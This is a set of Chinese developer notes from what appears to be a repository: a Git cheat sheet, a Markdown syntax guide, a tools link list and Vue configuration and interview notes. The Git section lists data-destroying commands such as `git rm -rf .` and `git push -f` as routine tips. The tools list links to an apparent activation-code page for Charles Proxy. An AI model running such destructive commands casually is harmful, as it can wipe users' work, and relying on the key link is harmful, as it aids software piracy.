 59 | 
 60 | ## 查看提交日志和信息
 61 | 
 62 | - 查看分支最近一次的修改列表：git status
 63 | - 查看分支的日志信息(倒叙排列)
 64 |   - `git log`  查看commit id, Author, Date, commit info
 65 |   - `git shortlog` 按提交者分类显示提交信息
 66 |   - `git log --oneline` 只输出commit id 和 commit info
 67 |   - `git log --stat` 查看增删查改了哪些文件
 68 | - 查看分支的 commit 信息
 69 |   - `git show <commit id>` 查看某次提交的代码
 70 | 
 71 | ## 标签
 72 | 
 73 | - 展示已有标签：git tag
 74 | - 展示过滤后的标签：git tag -l 'v1.4.2.*'
 75 | - 新建轻量级标签：git tag `<tagName>`
 76 | - 新建含附注的标签：git tag -a `<tagName>` -m `<备注信息>`
 77 | - 查看相应标签的版本信息：git show `<tabName>`
 78 | - 根据commit id 添加标签：git tag -a `<tagName>` `<commit id>`
 79 | - 推送到远程（分享标签）：git push origin `<tagName>`
 80 | - 推送本地所有新增标签：git push origin --tags
 81 | 
 82 | **注** -a: annotated
 83 | 
 84 | ## 版本回退
 85 | 
 86 | - 回退到上一个版本：git reset --hard HEAD^
 87 | - 回退到上上个版本：git reset --hard HEAD^^
 88 | - 回退到上N个版本：git reset --hard HEAD~N
 89 | - 回退到某个版本：git reset --hard `<commit id>`
 90 | - 强制推送到远程分支：git push -f
 91 | 
 92 | ## 变基
 93 | 
 94 | - git rebase 将一个feature分支变基到master分支  
 95 | master最新代码合并至feature分支：  
 96 | $ `git checkout feature`  
 97 | $ `git rebase master`  
 98 | 
 99 | **注意：**  
100 | 1、`HEAD` 指向的版本是当前版本，`^` 表示上一个版本，`~N` 表示上N个版本，`<commit id>`可简写  
101 | 2、`git log` 可以查看`<commit id>`  
102 | 3、`git reflog` 可以查看命令历史，用来回到某个未来的版本  
103 | 
104 | ## 常用选项和其他命令
105 | 
106 | ### git 中部分选项解释
107 | - `-f`  --force：强制
108 | - `-d`  --delete：删除
109 | - `-D`  --delete --force
110 | - `-m`  --move：移动或重命名
111 | - `-M`  --move --force
112 | - `-r`  --remote：远程
113 | - `-a`  --all：所有
114 | 
115 | ### 其他命令
116 | 
117 | - 初始化git：`git init`
118 | - 清空工程：`git rm -rf .`  
119 | - 每隔X秒运行一次git pull：`for((i=1;i<=10000;i+=1)); do sleep X && git pull; done`
120 | - 唤起git图形化工具：`gitk`
121 | - 查看文件的每个部分是谁修改的：`git blame <fileName>`
122 |     - 设置从第M行开始显示N行：`git blame -L M,+N <fileName>`
123 | - 刷新本地分支信息与原程保持同步：`git remote prune origin`
124 | 
125 | ## 配置相关
126 | 
127 | - 查看当前配置： git config --list
128 | - 修改 git 的 name 和 email ：
129 |   - git config --global user.name `<name>`
130 |   - git config --global user.email `<email>`
131 | - 删除 git 的错误配置
132 |   - git config --global --unset user.xxx
133 | - 修改 git 的 push.default
134 |     - git config --global push.default simple : 推送本地当前分支到远程（远程必须存在）
135 |         - git push --set-upstream origin `<tagName>` : simple 通过此方法创建远程分支并推送
136 |     - git config --global push.default current : 推送本地当前分支到远程（远程可以不存在）
137 | - 设置常用别名：
138 |   - git config --global alias.co checkout
139 |   - git config --global alias.br branch
140 |   - git config --global alias.ci commit
141 |   - git config --global alias.st status
142 | 
143 | **提示：** Windows 用户可以把配置信息写入`.bat`文件
144 | 


--------------------------------------------------------------------------------
/Tools/Markdown/README.md:
--------------------------------------------------------------------------------
  1 | <!-- START doctoc generated TOC please keep comment here to allow auto update -->
  2 | <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
  3 | **Table of Contents**  *generated with [DocToc](https://github.com/thlorenz/doctoc)*
  4 | # Markdown 常用语法清单
  5 | 
  6 | - [1、标题](#1%E6%A0%87%E9%A2%98)
  7 | - [2、段落](#2%E6%AE%B5%E8%90%BD)
  8 | - [3、区块引用](#3%E5%8C%BA%E5%9D%97%E5%BC%95%E7%94%A8)
  9 | - [4、代码区块](#4%E4%BB%A3%E7%A0%81%E5%8C%BA%E5%9D%97)
 10 | - [5、强调](#5%E5%BC%BA%E8%B0%83)
 11 | - [6、列表](#6%E5%88%97%E8%A1%A8)
 12 | - [7、分割线](#7%E5%88%86%E5%89%B2%E7%BA%BF)
 13 | - [8、链接](#8%E9%93%BE%E6%8E%A5)
 14 | - [9、图片](#9%E5%9B%BE%E7%89%87)
 15 | - [10、反斜杠`\`](#10%E5%8F%8D%E6%96%9C%E6%9D%A0%5C)
 16 | - [11、符号'`'](#11%E7%AC%A6%E5%8F%B7)
 17 | - [12、表格](#12%E8%A1%A8%E6%A0%BC)
 18 | - [13、其它：](#13%E5%85%B6%E5%AE%83)
 19 | 
 20 | <!-- END doctoc generated TOC please keep comment here to allow auto update -->
 21 | 
 22 | Markdown语法主要分为如下几大部分：
 23 | 
 24 | > **标题**，**段落**，**区块引用**，**代码区块**，**强调**，**列表**，**分割线**，**链接**，**图片**，**反斜杠 `\`**，**符号'`'**。
 25 | 
 26 | ## 1、标题
 27 | 两种形式：  
 28 | 1）使用`=`和`-`标记一级和二级标题。
 29 | > 一级标题   
 30 | > `=========`   
 31 | > 二级标题    
 32 | > `---------`
 33 | 
 34 | 效果：
 35 | > 一级标题   
 36 | > =========   
 37 | > 二级标题
 38 | > ---------  
 39 | 
 40 | 2）使用`#`，可表示1-6级标题。
 41 | > \# 一级标题   
 42 | > \## 二级标题   
 43 | > \### 三级标题   
 44 | > \#### 四级标题   
 45 | > \##### 五级标题   
 46 | > \###### 六级标题    
 47 | 
 48 | 效果：
 49 | > # 一级标题   
 50 | > ## 二级标题   
 51 | > ### 三级标题   
 52 | > #### 四级标题   
 53 | > ##### 五级标题   
 54 | > ###### 六级标题
 55 | 
 56 | ## 2、段落
 57 | 段落的前后要有空行，所谓的空行是指没有文字内容。若想在段内强制换行的方式是使用**两个以上**空格加上回车（引用中换行省略回车）。
 58 | 
 59 | ## 3、区块引用
 60 | 在段落的每行或者只在第一行使用符号`>`,还可使用多个嵌套引用，如：
 61 | > \> 区块引用  
 62 | > \>> 嵌套引用  
 63 | 
 64 | 效果：
 65 | > 区块引用  
 66 | >> 嵌套引用
 67 | 
 68 | ## 4、代码区块
 69 | 代码区块的建立是在每行加上4个空格或者一个制表符（如同写代码一样）。如    
 70 | 普通段落：
 71 | 
 72 | void main()    
 73 | {    
 74 |     printf("Hello, Markdown.");    
 75 | }    
 76 | 
 77 | 代码区块：
 78 | 
 79 |     void main()
 80 |     {
 81 |         printf("Hello, Markdown.");
 82 |     }
 83 | 
 84 | **注意**:需要和普通段落之间存在空行。
 85 | 
 86 | ## 5、强调
 87 | 在强调内容两侧分别加上`*`或者`_`，如：
 88 | > \*斜体\*，\_斜体\_    
 89 | > \*\*粗体\*\*，\_\_粗体\_\_
 90 | 
 91 | 效果：
 92 | > *斜体*，_斜体_    
 93 | > **粗体**，__粗体__
 94 | 
 95 | ## 6、列表
 96 | 使用`·`、`+`、或`-`标记无序列表，如：
 97 | > \-（+\*） 第一项
 98 | > \-（+\*） 第二项
 99 | > \- （+\*）第三项
100 | 
101 | **注意**：标记后面最少有一个_空格_或_制表符_。若不在引用区块中，必须和前方段落之间存在空行。
102 | 
103 | 效果：
104 | > + 第一项
105 | > + 第二项
106 | > + 第三项
107 | 
108 | 有序列表的标记方式是将上述的符号换成数字,并辅以`.`，如：
109 | > 1 . 第一项   
110 | > 2 . 第二项    
111 | > 3 . 第三项    
112 | 
113 | 效果：
114 | > 1. 第一项
115 | > 2. 第二项
116 | > 3. 第三项
117 | 
118 | ## 7、分割线
119 | 分割线最常使用就是三个或以上`*`，还可以使用`-`和`_`。
120 | 
121 | ## 8、链接
122 | 链接可以由两种形式生成：**行内式**和**参考式**。    
123 | **行内式**：
124 | > \[我的Markdown库\]\(https:://github.com/Markdown "Markdown"\)。
125 | 
126 | 效果：
127 | > [我的Markdown库](https:://github.com/Markdown "Markdown")。
128 | 
129 | **参考式**：
130 | > \[我的Markdown库1\]\[1\]    
131 | > \[我的Markdown库2\]\[2\]    
132 | > \[1\]:https:://github.com/Markdown "Markdown"    
133 | > \[2\]:https:://github.com/Markdown "Markdown"    
134 | 
135 | 效果：
136 | > [我的Markdown库1][1]    
137 | > [我的Markdown库2][2]
138 | 
139 | [1]: https:://github.com/Markdown "Markdown"
140 | [2]: https:://github.com/Markdown "Markdown"
141 | 
142 | **注意**：上述的`[1]:https:://github.com/Markdown "Markdown"`不出现在区块中。
143 | 
144 | ## 9、图片
145 | 添加图片的形式和链接相似，只需在链接的基础上前方加一个`！`。
146 | 
147 | ## 10、反斜杠`\`
148 | 相当于**反转义**作用。使符号成为普通符号。
149 | 
150 | ## 11、符号'`'
151 | 起到标记作用。如：
152 | >\`ctrl+a\`
153 | 
154 | 效果：
155 | >`ctrl+a`    
156 | 
157 | ## 12、表格
158 | `Name | Academy | score `  
159 | `- | :-: | -: `  
160 | `Harry Potter | Gryffindor| 90 `  
161 | `Hermione Granger | Gryffindor | 100 `  
162 | `Draco Malfoy | Slytherin | 90`  
163 | 
164 | 效果：
165 | Name | Academy | score 
166 | - | :-: | -: 
167 | Harry Potter | Gryffindor| 90 
168 | Hermione Granger | Gryffindor | 100 
169 | Draco Malfoy | Slytherin | 90
170 | 
171 | ## 13、其它：
172 | 列表的使用(非traditonal markdown)：
173 | 
174 | 用`|`表示表格纵向边界，表头和表内容用`-`隔开，并可用`:`进行对齐设置，两边都有`:`则表示居中，若不加`:`则默认左对齐。
175 | 
176 | |代码库                              |链接                                |
177 | |:------------------------------------:|------------------------------------|
178 | |MarkDown                              |[https://github.com/Markdown](https://github.com/Markdown "Markdown")|
179 | |MarkDownCopy                              |[https://github.com/Markdown](https://github.com/Markdown "Markdown")|
180 | 
181 | TODOLIST 的是否勾选
182 | 
183 | `- [ ]` 不勾选  
184 | `- [x]` 勾选
185 | 
186 | - [ ] 不勾选
187 | - [x] 勾选
188 | 


--------------------------------------------------------------------------------
/Tools/README.md:
--------------------------------------------------------------------------------
 1 | ## 语法命令
 2 | 
 3 | >+ [Git 常用命令清单](./Git/README.md)
 4 | >+ [Markdown 语法](./Markdown/README.md)
 5 | 
 6 | ## 在线工具
 7 | 
 8 | >+ [JSON 视图](http://www.bejson.com/jsonviewernew/)
 9 | >+ [代码比对](http://tool.oschina.net/diff/)
10 | >+ [在线作图,实时协作](https://www.processon.com/)
11 | >+ [二维码生成，联图网](http://www.liantu.com/)
12 | >+ [图片压缩](https://tinypng.com/)
13 | 
14 | ## 公共API
15 | 
16 | >+ [豆瓣 API](https://developers.douban.com/wiki/?title=guide)
17 | >+ [网易云音乐](https://binaryify.github.io/NeteaseCloudMusicApi/#/)
18 | >+ [聚合数据](https://www.juhe.cn/)
19 | 
20 | ## 简历制作
21 | 
22 | >+ [Markdown 简历](https://github.com/geekcompany/ResumeSample)
23 | >+ [超级简历](https://www.wondercv.com/)
24 | 
25 | ## Markdown 工具
26 | 
27 | >+ [DocToc (Table of Contents), 目录生成工具](https://github.com/thlorenz/doctoc)
28 | 
29 | ## 其他
30 | 
31 | >+ [Chrome 插件](./Chrome-plugin/README.md)
32 | >+ [佛祖镇楼系列](./Docs/Character-Picture.md)
33 | >+ [Win 屏幕录制转GIF LICEcap](https://licecap.en.softonic.com/?ex=CAT-752.1)
34 | >+ [Mac 屏幕录制转GIF Kap](https://getkap.co/)
35 | >+ [手机抓包 - Charles](https://www.charlesproxy.com/)
36 |     - [教程](https://www.jianshu.com/p/ddef21c3b9ba)
37 |     - [激活码](https://blog.csdn.net/qq_25821067/article/details/79848589)
38 | >+ [手机抓包 - Fiddler](https://www.telerik.com/download/fiddler)
39 |     - [教程](https://blog.csdn.net/nielinqi520/article/details/78842706)
40 | 
41 | 


--------------------------------------------------------------------------------
/Vue/Docs/Config.md:
--------------------------------------------------------------------------------
 1 | # Vue 配置相关问题
 2 | 
 3 | ## 兼容 IE 浏览器
 4 | 
 5 | IE报：vuex requires a Promise polyfill in this browser.
 6 | 
 7 | 安装 `babel-polyfill`
 8 | ```js
 9 | npm install -S babel-polyfill
10 | ```
11 | 
12 | 在入口文件 `main.js` 引入
13 | ```js
14 | import 'babel-polyfill'
15 | ```
16 | 
17 | 配置（webpack.conf.js）
18 | ```js
19 | module.exports ={
20 |   entry: {
21 |     app: ['babel-polyfill', './src/main.js']
22 |   }
23 | }
24 | ```
25 | **注意：** `babel-polyfill` 必要在`main.js`前面才能生效。
26 | 
27 | ## 配置 proxyTable
28 | 
29 | > Vue 暴露了 proxyTabe 做跨域处理
30 | 
31 | config/index.js
32 | ```js
33 | dev: {
34 |     env: require('./dev.env'),
35 |     port: 8080,
36 |     autoOpenBrowser: true,
37 |     assetsSubDirectory: 'static',
38 |     assetsPublicPath: '/',
39 |     proxyTable: {},   
40 |     cssSourceMap: false
41 |   }
42 | ```
43 | 
44 | 如果接口是：`https://www.exaple.com/server_new/login`  
45 | 那么接口请求url： `/server_new/login`  
46 | proxyTable 配置如下：
47 | ```js
48 | proxyTable: {
49 |         '/apis': {    //将www.exaple.com印射为/apis
50 |             target: 'https://www.exaple.com',  // 接口域名
51 |             secure: false,  // 如果是https接口，需要配置这个参数
52 |             changeOrigin: true,  //是否跨域
53 |             pathRewrite: {
54 |                 '^/apis': ''   //需要rewrite的,
55 |             }              
56 |         }
57 |   }
58 | ```
59 | 
60 | [See Also](https://segmentfault.com/a/1190000011007043)
61 | 


--------------------------------------------------------------------------------
/Vue/Docs/Experience.md:
--------------------------------------------------------------------------------
1 | # Vue 最佳实践
2 | 
3 | [Vue.js最佳实践（五招让你成为Vue.js大师）](https://segmentfault.com/a/1190000014085613)
4 | 


--------------------------------------------------------------------------------
/Vue/Docs/Framework.md:
--------------------------------------------------------------------------------
 1 | # Vue2.5+ 项目结构
 2 | 
 3 | > 技术栈：vue, vue-router, vuex, axios, iview, less
 4 | 
 5 | <pre>
 6 | ├──src
 7 |     ├── assets
 8 |         ├── images
 9 |             ├── icons
10 |             ...
11 |         └── styles (样式)
12 |             ├── modules
13 |                 ├── Panination.less
14 |                 ├── Navigation.less
15 |                 ...
16 |             ├── pages
17 |                 ├── demoPage1
18 |                     ├── index.less
19 |                     ├── detail.less
20 |                     ...
21 |                 ├── demoPage2
22 |                 ...
23 |             ├── color.less
24 |             ├── common.less
25 |             ├── form.less
26 |             └── my─iview.less
27 |     ├── components (组件)
28 |         ├── layout
29 |             ├── Header.vue
30 |             ├── Sider.vue
31 |             ├── Footer.vue
32 |             └── Index.vue
33 |         ├── modules (通用组件)
34 |             ├── Panination.vue
35 |             ├── Navigation.vue
36 |             ├── CustomTable.vue
37 |             ├── DlgConfirmReason.vue
38 |             ├── index.js
39 |             ...
40 |         └── pages (按页面功能分组定义组件)
41 |             ├── login
42 |                 ├── Login.vue
43 |                 ...
44 |             ├── demoPage1
45 |                 ├── Index.vue
46 |                 ├── Detail.vue
47 |                 ...
48 |             ├── demoPage2
49 |             ├── demoPage3
50 |             ...
51 |     ├── const (静态常量，数据字典)
52 |         ├── enumData.js
53 |             ...
54 |     ├── router (路由配置)
55 |         ├── routes
56 |             ├── login.js
57 |             ├── demoPage1.js
58 |             ├── demoPage2.js
59 |             ...
60 |         └── index.js
61 |     ├── store (状态管理)
62 |         ├── stores
63 |             ├── login.js
64 |             ├── common.js
65 |             ├── file.js
66 |             ├── demoPage1.js
67 |             ├── demoPage2.js
68 |             ...
69 |         └── index.js
70 |     ├── utils (工具类)
71 |         ├── ajax.js
72 |         ├── config.js
73 |         ├── mixinsXXX.js
74 |         ├── tool.js
75 |         ...
76 |     ├── App.vue
77 |     └── main.js
78 | </pre>
79 | 


--------------------------------------------------------------------------------
/Vue/Docs/Interview.md:
--------------------------------------------------------------------------------
  1 | <!-- START doctoc generated TOC please keep comment here to allow auto update -->
  2 | <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
  3 | **Table of Contents**  *generated with [DocToc](https://github.com/thlorenz/doctoc)*
  4 | 
  5 | # Vue 常见面试问题
  6 | 
  7 | - [计算属性（computed）、方法（methods）和侦听属性（watch）的区别与使用场景](#%E8%AE%A1%E7%AE%97%E5%B1%9E%E6%80%A7computed%E6%96%B9%E6%B3%95methods%E5%92%8C%E4%BE%A6%E5%90%AC%E5%B1%9E%E6%80%A7watch%E7%9A%84%E5%8C%BA%E5%88%AB%E4%B8%8E%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF)
  8 | - [Vue 生命周期的理解](#vue-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%9A%84%E7%90%86%E8%A7%A3)
  9 | - [Vue 双向绑定，为什么不能通过修改下标来通知视图发生变化。](#vue-%E5%8F%8C%E5%90%91%E7%BB%91%E5%AE%9A%E4%B8%BA%E4%BB%80%E4%B9%88%E4%B8%8D%E8%83%BD%E9%80%9A%E8%BF%87%E4%BF%AE%E6%94%B9%E4%B8%8B%E6%A0%87%E6%9D%A5%E9%80%9A%E7%9F%A5%E8%A7%86%E5%9B%BE%E5%8F%91%E7%94%9F%E5%8F%98%E5%8C%96)
 10 | - [简述 Vue 中的 MVVM 模型](#%E7%AE%80%E8%BF%B0-vue-%E4%B8%AD%E7%9A%84-mvvm-%E6%A8%A1%E5%9E%8B)
 11 | - [Vue 路由中 hash 模式和 history 模式区别](#vue-%E8%B7%AF%E7%94%B1%E4%B8%AD-hash-%E6%A8%A1%E5%BC%8F%E5%92%8C-history-%E6%A8%A1%E5%BC%8F%E5%8C%BA%E5%88%AB)
 12 | - [Vue 路由中 $route 和 $router 的区别](#vue-%E8%B7%AF%E7%94%B1%E4%B8%AD-route-%E5%92%8C-router-%E7%9A%84%E5%8C%BA%E5%88%AB)
 13 | - [v-for 响应式 key, index 及 item.id 参数的异同](#v-for-%E5%93%8D%E5%BA%94%E5%BC%8F-key-index-%E5%8F%8A-itemid-%E5%8F%82%E6%95%B0%E7%9A%84%E5%BC%82%E5%90%8C)
 14 | 
 15 | <!-- END doctoc generated TOC please keep comment here to allow auto update -->
 16 | 
 17 | ## 计算属性（computed）、方法（methods）和侦听属性（watch）的区别与使用场景
 18 | 
 19 | > methods VS 计算属性
 20 | 
 21 | 我们可以将同一函数定义为一个 method 而不是一个计算属性。对于最终的结果，两种方式确实是相同的。然而，不同的是**计算属性是基于它们的依赖进行缓存的**。计算属性只有在它的相关依赖发生改变时才会重新求值。这就意味着只要 message 还没有发生改变，多次访问 reversedMessage 计算属性会立即返回之前的计算结果，而不必再次执行函数。相比而言，只要发生重新渲染，method 调用总会执行该函数。总之，重新计算开销很大的话请选计算属性，不希望有缓存的请选methods。
 22 | 
 23 | > watch VS 计算属性
 24 | 
 25 | 当你在模板内使用了复杂逻辑的表达式时，你应当使用计算属性。
 26 | 
 27 | 侦听属性是一个对象，键是需要观察的表达式，值是对应回调函数。值也可以是方法名，或者包含选项的对象。  
 28 | 当你有一些数据需要随着其它数据变动而变动时，或者当需要**在数据变化时执行异步或开销较大的操作时**，你可以使用 watch。
 29 | 
 30 | ## Vue 生命周期的理解
 31 | 
 32 | [如何解释vue的生命周期才能令面试官满意？](https://segmentfault.com/a/1190000014376915)
 33 | 
 34 | - beforeCreate
 35 | 
 36 | 在实例初始化之后，数据观测 (data observer) 和 event/watcher 事件配置之前被调用。
 37 | 
 38 | - created
 39 | 
 40 | 在实例创建完成后被立即调用。在这一步，实例已完成以下的配置：数据观测 (data observer)，属性和方法的运算，watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。
 41 | 
 42 | - beforeMount
 43 | 
 44 | 在挂载开始之前被调用：相关的 render 函数首次被调用。  
 45 | 该钩子在服务器端渲染期间不被调用。以下周期在服务端渲染期间都不被调用。
 46 | 
 47 | - mounted
 48 | 
 49 | el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。注意 mounted 不会承诺所有的子组件也都一起被挂载。如果你希望等到整个视图都渲染完毕，可以用 vm.$nextTick 替换掉 mounted。  
 50 | 
 51 | - beforeUpdate
 52 | 
 53 | 数据更新时调用，发生在虚拟 DOM 打补丁之前。这里适合在更新之前访问现有的 DOM，比如手动移除已添加的事件监听器。  
 54 | 
 55 | - updated
 56 | 
 57 | 由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。
 58 | 
 59 | - activated
 60 | 
 61 | keep-alive 组件激活时调用。
 62 | 
 63 | - deactivated
 64 | 
 65 | keep-alive 组件停用时调用。
 66 | 
 67 | - beforeDestroy
 68 | 
 69 | 实例销毁之前调用。在这一步，实例仍然完全可用。
 70 | 
 71 | - destroyed
 72 | 
 73 | Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。
 74 | 
 75 | ## Vue 双向绑定，为什么不能通过修改下标来通知视图发生变化。
 76 | 
 77 | [Vue为什么不能检测数组变动](https://segmentfault.com/a/1190000015783546)
 78 | 
 79 | > 变异方法：
 80 | 
 81 | Vue 包含一组观察数组的变异方法，所以它们也将会触发视图更新。这些方法如下：
 82 | push(), pop(), shift() ,unshift(), splice(), sort(), reverse()
 83 | 
 84 | > 替换数组：
 85 | 
 86 | filter(), concat() 和 slice() 。这些不会改变原始数组，但总是返回一个新数组。当使用非变异方法时，可以用新数组替换旧数组：
 87 | 
 88 | > 注意事项:
 89 | 
 90 | 由于 JavaScript 的限制，Vue 不能检测以下变动的数组：
 91 | - 当你利用索引直接设置一个项时，例如：vm.items[indexOfItem] = newValue
 92 | - 当你修改数组的长度时，例如：vm.items.length = newLength
 93 | 
 94 | 变通方法：
 95 | - Vue.set(vm.items, indexOfItem, newValue)
 96 | - vm.items.splice(indexOfItem, 1, newValue)
 97 | 
 98 | ## 简述 Vue 中的 MVVM 模型
 99 | 
100 | Vue是以数据为驱动的，Vue自身将DOM和数据进行绑定，一旦创建绑定，DOM和数据将保持同步，每当数据发生变化，DOM会跟着变化。
101 | 
102 | ViewModel是Vue的核心，它是Vue的一个实例。Vue实例是作用在某个HTML元素上的，这个HTML元素可以是body，也可以是某个id所指代的元素。 DOM Listeners和Data Bindings是实现双向绑定的关键。DOM Listeners监听页面所有View层DOM元素的变化，当发生变化，Model层的数据随之变化；Data Bindings监听Model层的数据，当数据发生变化，View层的DOM元素随之变化。
103 | 
104 | ## Vue 路由中 hash 模式和 history 模式区别
105 | 
106 | > hash模式
107 | 
108 | hash 出现在 URL 中，但不会被包含在 http 请求中，对后端完全没有影响，因此改变 hash 不会重新加载页面。
109 | 
110 | 特点：hash虽然在URL中，但不被包括在HTTP请求中；用来指导浏览器动作，hash不会重加载页面。
111 | 
112 | > history模式
113 | 
114 | history 利用了 html5 history interface 中新增的 pushState() 和 replaceState() 方法。这两个方法应用于浏览器记录栈，在当前已有的 back、forward、go 基础之上，它们提供了对历史记录修改的功能。只是当它们执行修改时，虽然改变了当前的 URL ，但浏览器不会立即向后端发送请求。
115 | 
116 | > 原理：
117 | 
118 | hash 模式的原理是 onhashchange 事件，可以在 window 对象上监听这个事件。   
119 | history ：hashchange 只能改变 # 后面的代码片段，history api （pushState、replaceState、go、back、forward） 则给了前端完全的自由，通过在window对象上监听popState()事件。
120 | 
121 | ## Vue 路由中 $route 和 $router 的区别
122 | 
123 | $route 是“路由信息对象”，包括 path，params，hash，query，fullPath，matched，name 等路由信息参数。  
124 | $router 是“路由实例”对象包括了路由的跳转方法，钩子函数等。
125 | 
126 | ## v-for 响应式 key, index 及 item.id 参数的异同
127 | 
128 | ```html
129 | <ul>
130 |   <li v-for="(item, key, index) in items" :key="item.id">{{item.id}}</li>
131 | </ul>
132 | ```
133 | 使用 v-for 渲染元素时，使用元素自身的 id 属性去指定渲染元素的 key 值有利于单个元素的重新渲染，若采用 index 和 key，在改变渲染出来的 DOM 结构时，会触发所有元素的重新渲染，当数据过大时，可能会造成性能负担。
134 | 
135 | [See Also](https://github.com/TimRChen/Vue-v-for-explor#vue-20-v-for-%E5%93%8D%E5%BA%94%E5%BC%8Fkey-index%E5%8F%8Aitemid%E5%8F%82%E6%95%B0%E5%AF%B9v-bindkey%E5%80%BC%E9%80%A0%E6%88%90%E5%B7%AE%E5%BC%82%E7%A0%94%E7%A9%B6)
136 | 


--------------------------------------------------------------------------------
/Vue/Docs/Virtual-dom.md:
--------------------------------------------------------------------------------
1 | # 虚拟 DOM
2 | 
3 | ### SEE ALSO  
4 | [Vue原理解析之Virtual Dom](https://segmentfault.com/a/1190000008291645)  
5 | [解析vue2.0的diff算法](https://github.com/aooy/blog/issues/2)  
6 | 
7 | 


--------------------------------------------------------------------------------
/Vue/Docs/Vue-Model.md:
--------------------------------------------------------------------------------
  1 | <!-- START doctoc generated TOC please keep comment here to allow auto update -->
  2 | <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
  3 | **Table of Contents**  *generated with [DocToc](https://github.com/thlorenz/doctoc)*
  4 | 
  5 | # Vue 数据绑定
  6 | 
  7 | - [一、访问器属性](#%E4%B8%80%E8%AE%BF%E9%97%AE%E5%99%A8%E5%B1%9E%E6%80%A7)
  8 | - [二、极简双向绑定的实现](#%E4%BA%8C%E6%9E%81%E7%AE%80%E5%8F%8C%E5%90%91%E7%BB%91%E5%AE%9A%E7%9A%84%E5%AE%9E%E7%8E%B0)
  9 | - [三、分解任务](#%E4%B8%89%E5%88%86%E8%A7%A3%E4%BB%BB%E5%8A%A1)
 10 | - [四、DocumentFragment](#%E5%9B%9Bdocumentfragment)
 11 | - [五、数据初始化绑定](#%E4%BA%94%E6%95%B0%E6%8D%AE%E5%88%9D%E5%A7%8B%E5%8C%96%E7%BB%91%E5%AE%9A)
 12 | - [六、响应式的数据绑定](#%E5%85%AD%E5%93%8D%E5%BA%94%E5%BC%8F%E7%9A%84%E6%95%B0%E6%8D%AE%E7%BB%91%E5%AE%9A)
 13 | - [七、订阅/发布模式（subscribe&publish）](#%E4%B8%83%E8%AE%A2%E9%98%85%E5%8F%91%E5%B8%83%E6%A8%A1%E5%BC%8Fsubscribepublish)
 14 | - [八、双向绑定的实现](#%E5%85%AB%E5%8F%8C%E5%90%91%E7%BB%91%E5%AE%9A%E7%9A%84%E5%AE%9E%E7%8E%B0)
 15 | 
 16 | <!-- END doctoc generated TOC please keep comment here to allow auto update -->
 17 | 
 18 | ### SEE ALSO
 19 | [Vue.js双向绑定的实现原理](https://www.cnblogs.com/kidney/p/6052935.html)  
 20 | [剖析Vue原理&实现双向绑定MVVM](https://segmentfault.com/a/1190000006599500#articleHeader0)
 21 | 
 22 | 前置知识：
 23 | ES5中的对象的属性可以分为数据属性和访问器属性。
 24 | - 数据属性特性：value、writable、enumerable、configurable。
 25 | - 访问器属性特性：set、get、enumerable、configurable。
 26 | 
 27 | ## 一、访问器属性
 28 | 
 29 | 访问器属性是对象中的一种特殊属性，它不能直接在对象中设置，而必须通过 defineProperty() 方法单独定义。
 30 | 
 31 | ```js
 32 | var obj = {};
 33 | // 为obj定义一个名为 hello 的访问器属性
 34 | Object.defineProperty(obj, "hello", {
 35 |   get: function () {return sth},
 36 |   set: function (val) {/* do sth */}
 37 | })
 38 | obj.hello // 可以像普通属性一样读取访问器属性
 39 | ```
 40 | 
 41 | 访问器属性的"值"比较特殊，读取或设置访问器属性的值，实际上是调用其内部特性：get和set函数。
 42 | 
 43 | ```js
 44 | obj.hello // 读取属性，就是调用get函数并返回get函数的返回值
 45 | obj.hello = "abc" // 为属性赋值，就是调用set函数，赋值其实是传参 
 46 | ```
 47 | 
 48 | <img src="../Image/101.png" width=800>
 49 | 
 50 | get 和 set 方法内部的 this 都指向 obj，这意味着 get 和 set 函数可以操作对象内部的值。另外，访问器属性的会"覆盖"同名的普通属性，因为访问器属性会被优先访问，与其同名的普通属性则会被忽略。
 51 | 
 52 | ## 二、极简双向绑定的实现
 53 | 
 54 | <img src="../Image/201.png" width=800>
 55 | 
 56 | 此例实现的效果是：随文本框输入文字的变化，span 中会同步显示相同的文字内容；在js或控制台显式的修改 obj.hello 的值，视图会相应更新。这样就实现了 model => view 以及 view => model 的双向绑定。
 57 | 
 58 | <img src="../Image/202.png" width=800>
 59 | 
 60 | 以上就是 Vue 实现双向绑定的基本原理。
 61 | 
 62 | ## 三、分解任务
 63 | 
 64 | 上述示例仅仅是为了说明原理。我们最终要实现的是：
 65 | 
 66 | <img src="../Image/301.png" width=800>
 67 | <img src="../Image/302.png" width=800>
 68 | 
 69 | 首先将该任务分成几个子任务：
 70 | 
 71 | - 1、输入框以及文本节点与 data 中的数据绑定
 72 | - 2、输入框内容变化时，data 中的数据同步变化。即 view => model 的变化。
 73 | - 3、data 中的数据变化时，文本节点的内容同步变化。即 model => view 的变化。
 74 | 
 75 | 要实现任务一，需要对 DOM 进行编译，这里有一个知识点：DocumentFragment。
 76 | 
 77 | ## 四、DocumentFragment
 78 | 
 79 | DocumentFragment（文档片段）可以看作节点容器，它可以包含多个子节点，当我们将它插入到 DOM 中时，只有它的子节点会插入目标节点，所以把它看作一组节点的容器。使用 DocumentFragment 处理节点，速度和性能远远优于直接操作 DOM。Vue 进行编译时，就是将挂载目标的所有子节点劫持（真的是劫持，通过 append 方法，DOM 中的节点会被自动删除）到 DocumentFragment 中，经过一番处理后，再将 DocumentFragment 整体返回插入挂载目标。
 80 | 
 81 | <img src="../Image/401.png" width=800>
 82 | 
 83 | `#` 勘误：flag.append() 应为 flag.appendChild()。下同。在 Chrome 中用 append() 竟然正常，没报错。
 84 | 
 85 | <img src="../Image/402.png" width=800>
 86 | 
 87 | ## 五、数据初始化绑定
 88 | 
 89 | <img src="../Image/501.png" width=800>
 90 | <img src="../Image/502.png" width=800>
 91 | <img src="../Image/503.png" width=800>
 92 | 
